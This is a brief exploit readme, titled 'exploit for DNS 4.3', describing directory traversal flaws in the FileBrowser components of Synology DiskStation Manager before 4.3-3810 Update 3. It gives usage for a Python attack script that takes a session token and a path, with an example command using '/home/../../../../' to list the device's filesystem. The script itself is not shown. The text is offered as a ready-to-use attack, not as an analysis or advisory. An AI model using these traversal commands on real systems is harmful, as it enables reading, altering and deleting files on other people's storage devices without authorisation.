
exploit for DNS 4.3
Plusieurs vulnérabilités de traversée de répertoire dans les composants FileBrowser de Synology DiskStation Manager (DSM) avant la version 4.3-3810 Update 3 permettent à des attaquants distants de lire, écrire et supprimer des fichiers arbitraires via un .. (point point).
python <file.py> <SynoToken> <path>
example:
#list filesystem
python file_list.py ABCDFEGH1234 /home/../../../../